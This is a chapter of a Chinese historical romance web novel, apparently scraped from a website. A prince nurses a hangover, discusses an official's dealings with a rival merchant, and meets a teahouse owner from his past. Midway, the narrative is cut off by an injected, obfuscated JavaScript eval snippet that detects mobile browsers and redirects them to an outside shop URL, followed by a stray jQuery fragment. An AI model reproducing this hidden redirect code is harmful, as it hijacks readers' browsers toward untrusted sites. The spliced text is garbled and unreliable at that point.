次日晌午时分,府里才开始喧闹起来,下人忙碌赶着手头的细活儿,她们知道府君虽在京师没做什么行当,却是要求物物尽善尽美,一丝不苟。
隆咚敲响中,院中一处更显寂寥。
“祁商。”李郢湛在床榻坐立闭目几刻,才混沌忆起昨日发生什么事,一拍脑门如石锤敲打,便是在平康坊也没如此伤神疲乏。
“在的爷。”
祁商急匆匆端来醒酒汤,碗口还散发出热气,数着时间等人快睡醒才吩咐厨子熬制,将醒酒汤送到他跟前,作身推开窗牖,烈阳瞬得灌入,照得人刺眼。
惺忪眼眸,手挡着外头炽热光,祁商遮回来了些,叹气道,“酒气伤身,爷糊涂了。”
他抬眉肃目,神情凝重地把思绪拢了拢,默然把醒酒汤一口了灌下去,连气儿都没吐一口。
盯着祁商,似在等着什么话。
祁商瞧着他还没睡醒,又叫人再端了一碗安神汤,“爷心里还有气呢?人清早便取包袱出了去,数着时间,五个时辰了。”
“连价值些的物品也带去,看来早已铁定心要走。”不忍又补了句,把被褥掀开至一侧,摸着里头温热灼烧,人身上也有气。
“昨儿爷就该挽留阮小娘子,不至于现在这般忧伤不舍。”
“城南王府不是囚笼,她又尚未卖身于我,说到底还是崔裴的人,要春风还是沐雨,去哪里我无从干涉,又何来不舍一说,以后嘴巴收着点,没下次了。”他努着一股气起身,心头郁闷,连衣物都穿反了,蛮力得像是要扯破。
听着可不是这般宽心,祁商也不敢问。
“我来我来。”他连忙过去帮着更衣,想着给爷顺顺道儿,但他也没经历过,实在不知如何安慰,自己还闷闷不乐呢。
“阿玥也不见了,许是和阮小娘子一并走了。”他泄气无力抚顺衣料,昨日起就觉浑身不对劲,今儿绿楚来说阿玥真的走了,他还顿了一会儿。
“我不畅快,你又怎么了?”
“我,我能有什么,祁商是在想和阮小娘子,阿玥她们也相处数月了,忽然说走就走,还怪不是那会事儿。”
把圆领翻正,越想越不对劲,“就跟被抛弃了一般。”心不在焉替着爷整装,说生气倒是不至于,就有些空落落。
“你自小跟我一起,也没见你和谁难舍难分,行了,别想些有的没的,有事忙。”
“啥事?染坊那边还在施工,宫里没传旨,近来也没人找麻烦,爷这是要去找阮小娘子?”
“没。”他整了整花纹绣方片形袖口,“张明府这些日子不见来听令,可知哪儿去了?”
“祁商正想说,他最近和崔郎君走得密,还擅自把县里与外商通货的财道给了崔郎君,过往需得经他手,可谓一本万利的买卖,据说崔郎君能把收利七成分予他。”
“还做起了牙人,商贾直往他兜里塞银子还没够他赚,野心还真够大。攀上大树,倒忘了谁将扶他到众人面前了。”
崔裴也走西域通商,却一直苦于打不开大门,无论怎么低价商战,黑的白的明的暗的耍手段不少,却也没机会彻底占据大份市场,而在西域超过一半的中原货物皆来自李郢湛手下的商行,其中以澧县为最。
“如今把赚得大头给张明府,司马昭之心路人皆知,他还真敢领,就不怕被人一拉,整个澧县财政都跨了,搞不好还连累爷。”祁商没好声气说。
“他还没蠢到如此程度,账本没出错,看来有能力填补亏空,白来的银两,没理由不要。”拍拍祁商胸口,示意快写整理好着装。
“那爷就这么打算放过他?可不像你风格。”他琢磨着是不是被女人下了迷药,换作之前可是不少给张明府下绊子。
“不过都是虎口夺食,他争不过崔裴,就得再来求我,他若是能争过崔裴,到头来白花花的银两也是归于我,坐收渔翁之利,没什么坏处。至于崔裴能否打通西域门路,我倒想看看他有什么过人之处……”嘴角一勾,越来越有意思了。
这看着也不像对商货计谋,倒像是看不惯崔裴,祁商还是不敢火上浇油,转移话题,“那爷现在要去哪里?”
“拜访下张德顺,染坊还得借他的手。”
“祁商直接喊他来便好,怎么还劳烦爷亲自跑一趟,这般见风使舵之人,没必要对他恭恭敬敬。”
平日里已经遭不少皇子大臣的罪了,堂堂王爷还得纡尊降贵,还捞不着好。
近几年澧县财政收支居全国之首,本身破落户出身,也干过买卖的张德顺,骨子里免不了商人的精明计算,现有一条不费力气的财路,哪能不抓住。
但对这位小县丞也尽量服侍周到,经常来报县里大大小小的事务,怎么做也算诚诚恳恳照着,不过自从崔裴做了沈家女婿,心思就多了。
张德顺身边安插了李郢湛的人,出了差池也能及时知晓,此事便不多在意。
“没事,我一手教过的人,蠢不到哪里去。”
“天气好,也正想去走走,解解闷。”
外头阳光不辣,还有阵清爽从窗便吹来,确实是个难得的好天气。
这会儿他就明白了,爷是被某人烦心,要散散心。
“西市那边新开了一家茶肆,糕点甚是推陈出新多样,就连茶也颇有讲究,不仿宫茶,也不似民间普茶,贵在老小皆宜,吃了都说好,方圆百里的贵人都爱往哪儿去,我唤张明府去那里侯着?”
这会儿他是没多大心思品茗吃糕,但郁气在身,需得疏通,浪子名声倒是没往日烈了,也该去玩一玩了。
“新奇玩意儿,便看看去。”
热闹的西市买卖的吆喝不断,人们赶着新鲜滚烫吃食的就这会儿最好,一条街各式吃食都有,换外城人的话说,便是吃上个半月,也吃不完。
美味繁多引得人流连忘返,但处处出其不意的坊肆,却是大隆人最爱探究的好去处。
洺点轩是这一带最有新意的茶肆,不仅花样多,价格便宜,就连待客之道也较其他不同,这不刚刚开市,门扉被挤得水泄不通,都争相抢把凳子,先走下来,即便等菜要等到几个时辰,也丝毫不抱怨。
无论是达官贵人还是平民百姓,统
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032498|148835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一口径皆是上乘。
这会儿未上菜,早有人围上来,猜今日茗点轩到底又会出什么新品,若是没抢到的,各自都分一些,因为不知道过了今日,还能不能吃到。
也是这茗点轩独特的营销之法,只有抓住客人的好奇,味蕾,才能使茶肆长盛不衰。
模仿者众,都知道新鲜好吃,价格适合,却无法仿照出一二,所以茗点轩才能在几日便做到了人尽皆知。
几个年幼的小二在外招呼来往的客人,看着二位衣着讲究驻足在门前,便弯着腰上前,熟络笑着说,“新店开市,所有菜品均打七折,两位客官要不要来尝尝?”
李郢湛抬眼望了一下洺点轩,了然一笑,小二也不知道这位客人到底是想来还是不来,摸不着头脑,但看气质面容,确是富家公子。不过店内有规矩,凡事到店的食客皆一视同仁,服务招待不领情,也不会劝着往内走,讲求的是你情我愿。
人分阶层,茗点轩不分贵贱,凡事到此用食者,并无不同。
也是因为茗点轩人气火旺,深得百姓喜欢,才有这般底气。
几位小二说完便服侍一位身穿棉麻的老汉去了,相比适才,更为待客周到。
“爷怎么不进去,若是不喜欢,便到如意坊,还是去三娘那里,好些时候没去,估计三娘也盼得急。”他说这番话便是便让爷尽快忘记阮小娘子,双悦楼的娇美人水灵灵,哄人总有一套。
他虽不喜那胭脂俗粉的地方,但偶尔纵情声色也未尝不可,二来也想去问问三娘是否知晓阿玥到哪儿去了。
“不用了,就在此处。”他挽起衣角,细看牌匾一眼,便走了进去,很是满意的样子。
“店内客人多,二位稍等片刻。”小二引他们坐下来歉意陪笑说,转头吆喝,“给两位贵客来一壶上好的西湖龙井。”
“你们下去吧,这位贵客我亲自来招待。”穿破漫长黑夜,一道明亮高亢的声音隔空传来,如果不见,定然以为是江湖侠客。
珠帘后走出来一位身姿轻盈的娘子,一颦一笑都不像流落市井的普通人家,更像是不食人间烟火的仙女,店内的人纷纷让出一条道,好奇到底是哪位人物大驾光临,要风老板亲自相迎,可知风老板从不待客,便是从大明宫出来的高官,也无缘一睹芳颜。
“别看了,蛊人的是茶气,可不是这店内之人。”
“风老板说笑了,我们能占个位置品茗,已经满足了,就不打扰风老板了。”
“就是就是,我怕屁股一挪便被人占了座,这可就因小失大了。”
“吃好喝好,明日还给你留个座。”女子从容轻笑间将把人都遣了散,完了招手下人把二楼的雅间收拾一下。
“爷,你也认识风老板?”祁商瞧着风依依就是朝他们走来,看神情像是旧识,他倒没什么印象,不过爷的知己,他从来不知道。
“何止是认识。”他把喝了半口的龙井放下,柔和的微笑凝视风依依,目中有些时过境迁的恍惚。
“风老板,好久不见。”举杯相邀。
“家主,好久不见。"